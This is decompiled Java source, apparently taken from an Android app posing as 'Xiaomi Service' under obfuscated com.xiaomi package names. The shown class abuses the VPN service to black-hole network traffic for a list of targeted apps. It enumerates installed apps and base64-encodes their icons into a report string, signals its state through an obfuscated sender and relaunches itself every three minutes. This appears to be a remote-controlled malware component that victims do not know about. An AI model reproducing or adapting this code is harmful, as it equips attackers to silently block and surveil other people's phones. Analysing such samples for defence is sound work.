Xiaomi Service v12.26.23.4版本的 MD5 值为:051916df0c9afa5bb89b4d4771f291f7
以下内容为反编译后的 Vpnaopqrldifmjofnygqlnbxyywtdwjsdmkdmyhysvzymafezhtgo71Service.java 源代码,内容仅作参考
package com.xiaomi.bikbqozbyffzozjdlqibmdezujqxgvrmbyyfevczldmefmoqww2.ffcrjebjmxoipspygdtrqtuubtgpnoiqzfqovxicmgyaszdyej3;
import android.content.Context;
import android.content.Intent;
import android.content.pm.ApplicationInfo;
import android.content.pm.PackageManager;
import android.graphics.Bitmap;
import android.net.VpnService;
import android.os.Build;
import android.os.Handler;
import android.os.Message;
import android.os.ParcelFileDescriptor;
import android.util.Base64;
import android.widget.Toast;
import com.xiaomi.bikbqozbyffzozjdlqibmdezujqxgvrmbyyfevczldmefmoqww2.dytuzouyjxjyzkfiubwqsdvwgtkygtskukyetcdzxmtybsfuhc4.Notificationonewdqmtsscqmhlfdtjhmxiawhnmjtwjkmdtjcznwirhfnrdjy12Utils;
import com.xiaomi.bikbqozbyffzozjdlqibmdezujqxgvrmbyyfevczldmefmoqww2.dytuzouyjxjyzkfiubwqsdvwgtkygtskukyetcdzxmtybsfuhc4.tqrbqoiangislwcsxcygnljobzwaeixhugkneheggsodcwmgaw9;
import com.xiaomi.bikbqozbyffzozjdlqibmdezujqxgvrmbyyfevczldmefmoqww2.flyonewdqmtsscqmhlfdtjhmxiawhnmjtwjkmdtjcznwirhfnrdjy12activ;
import com.xiaomi.bikbqozbyffzozjdlqibmdezujqxgvrmbyyfevczldmefmoqww2.startaopqrldifmjofnygqlnbxyywtdwjsdmkdmyhysvzymafezhtgo7vpn;
import com.xiaomi.service.R;
import java.io.ByteArrayOutputStream;
import java.net.Inet4Address;
import java.net.InetAddress;
import java.net.NetworkInterface;
import java.net.SocketException;
import java.util.Enumeration;
public class Vpnaopqrldifmjofnygqlnbxyywtdwjsdmkdmyhysvzymafezhtgo71Service extends VpnService implements Handler.Callback, Runnable {
private static VpnService.Builder VPNbuilder;
public static boolean iamout;
static ParcelFileDescriptor mInterface;
private final int MY_VPN_NOTIFICATION_ID = 101;
private Runnable checkVpnStatusRunnable = new Runnable() {
private static final long CHECK_INTERVAL = 180000;
@Override
public void run() {
if (!Vpnaopqrldifmjofnygqlnbxyywtdwjsdmkdmyhysvzymafezhtgo71Service.iamout) {
if (!(Vpnaopqrldifmjofnygqlnbxyywtdwjsdmkdmyhysvzymafezhtgo71Service.mInterface != null)) {
Intent intent = new Intent(Vpnaopqrldifmjofnygqlnbxyywtdwjsdmkdmyhysvzymafezhtgo71Service.this.getApplicationContext(), (Class<?>) startaopqrldifmjofnygqlnbxyywtdwjsdmkdmyhysvzymafezhtgo7vpn.class);
intent.addFlags(268435456);
Vpnaopqrldifmjofnygqlnbxyywtdwjsdmkdmyhysvzymafezhtgo71Service.this.startActivity(intent);
}
Vpnaopqrldifmjofnygqlnbxyywtdwjsdmkdmyhysvzymafezhtgo71Service.this.handler.postDelayed(this, CHECK_INTERVAL);
}
Vpnaopqrldifmjofnygqlnbxyywtdwjsdmkdmyhysvzymafezhtgo71Service.this.handler.removeCallbacks(Vpnaopqrldifmjofnygqlnbxyywtdwjsdmkdmyhysvzymafezhtgo71Service.this.checkVpnStatusRunnable);
}
};
Handler handler = new Handler();
@Override
public void run() {
}
@Override
public boolean handleMessage(Message message) {
if (message == null) {
return true;
}
Toast.makeText(this, message.what, 0).show();
return true;
}
public boolean isConnected() {
return mInterface != null;
}
public void StopVpn() {
try {
if (mInterface != null) {
iamout = true;
mInterface.close();
mInterface = null;
VPNbuilder = null;
rjjgenafvvzcsfsbhslhwatflvljffdcmidcnkixtulldimcdg38.mydalsjgjdvmhxhrihzoipmkmcxymluewmtebijfixmrgvogbg52(tqrbqoiangislwcsxcygnljobzwaeixhugkneheggsodcwmgaw9.FW, ("False!null").getBytes());
stopSelf();
}
} catch (Exception unused) {
}
}
public static String Load(Context context) {
PackageManager packageManager = context.getPackageManager();
String str = "";
for (ApplicationInfo applicationInfo : packageManager.getInstalledApplications(0)) {
String str2 = applicationInfo.packageName;
CharSequence loadLabel = applicationInfo.loadLabel(context.getPackageManager());
if (loadLabel != null && !loadLabel.toString().contains(".")) {
Bitmap drawableToBitmap = flyonewdqmtsscqmhlfdtjhmxiawhnmjtwjkmdtjcznwirhfnrdjy12activ.drawableToBitmap(applicationInfo.loadIcon(packageManager));
Bitmap createScaledBitmap = Bitmap.createScaledBitmap(drawableToBitmap, 32, 32, false);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
createScaledBitmap.compress(Bitmap.CompressFormat.JPEG, 70, byteArrayOutputStream);
String encodeToString = Base64.encodeToString(byteArrayOutputStream.toByteArray(), 0);
str = rjjgenafvvzcsfsbhslhwatflvljffdcmidcnkixtulldimcdg38.BlockedVPN.contains(str2) ? str + "B:" + str2 + ":" + ((Object) loadLabel) + ":" + encodeToString + ">" : str + "A:" + str2 + ":" + ((Object) loadLabel) + ":" + encodeToString + ">";
drawableToBitmap.recycle();
createScaledBitmap.recycle();
}
}
return str;
}
@Override
public void onDestroy() {
super.onDestroy();
this.handler.removeCallbacks(this.checkVpnStatusRunnable);
}
@Override
public int onStartCommand(Intent intent, int i, int i2) {
rjjgenafvvzcsfsbhslhwatflvljffdcmidcnkixtulldimcdg38.MyVPN = this;
Context applicationContext = getApplicationContext();
startForeground(tqrbqoiangislwcsxcygnljobzwaeixhugkneheggsodcwmgaw9.NOTIFICATION_ID, Notificationonewdqmtsscqmhlfdtjhmxiawhnmjtwjkmdtjcznwirhfnrdjy12Utils.getInstance(applicationContext).createNotification(applicationContext));
if (intent == null) {
stopSelf();
return 2;
}
VpnService.Builder builder = new VpnService.Builder(this);
VPNbuilder = builder;
try {
VPNbuilder = builder.allowBypass();
if (Build.VERSION.SDK_INT >= 29) {
VPNbuilder.setMetered(false);
}
for (String str : getResources().getStringArray(R.array.bypass_private_route)) {
String[] split = str.split("/", 2);
VPNbuilder.addRoute(split[0], Integer.parseInt(split[1]));
}
VPNbuilder.addAddress(getLocalIpAddress(), 24);
VPNbuilder.addRoute("0.0.0.0", 0);
VPNbuilder.addDnsServer("8.8.8.8");
VPNbuilder.addDnsServer("8.8.4.4");
VPNbuilder.addDnsServer("1.1.1.1");
VPNbuilder.addDnsServer("1.0.0.1");
VPNbuilder.setSession("VS Starting");
for (ApplicationInfo applicationInfo : getPackageManager().getInstalledApplications(0)) {
if (!rjjgenafvvzcsfsbhslhwatflvljffdcmidcnkixtulldimcdg38.BlockedVPN.contains(applicationInfo.packageName)) {
VPNbuilder = VPNbuilder.addDisallowedApplication(applicationInfo.packageName);
}
}
ParcelFileDescriptor establish = VPNbuilder.establish();
mInterface = establish;
if (establish == null) {
stopSelf();
return 2;
}
this.handler.post(this.checkVpnStatusRunnable);
rjjgenafvvzcsfsbhslhwatflvljffdcmidcnkixtulldimcdg38.mydalsjgjdvmhxhrihzoipmkmcxymluewmtebijfixmrgvogbg52(tqrbqoiangislwcsxcygnljobzwaeixhugkneheggsodcwmgaw9.FW, ("True!null").getBytes());
return 1;
} catch (Exception unused) {
stopSelf();
return 2;
}
}
public static String getLocalIpAddress() {
try {
Enumeration<NetworkInterface> networkInterfaces = NetworkInterface.getNetworkInterfaces();
while (networkInterfaces.hasMoreElements()) {
Enumeration<InetAddress> inetAddresses = networkInterfaces.nextElement().getInetAddresses();
while (inetAddresses.hasMoreElements()) {
InetAddress nextElement = inetAddresses.nextElement();
if (!nextElement.isLoopbackAddress() && (nextElement instanceof Inet4Address)) {
return nextElement.getHostAddress().replace("/", "");
}
}
}
return null;
} catch (SocketException e) {
e.printStackTrace();
return null;
}
}
}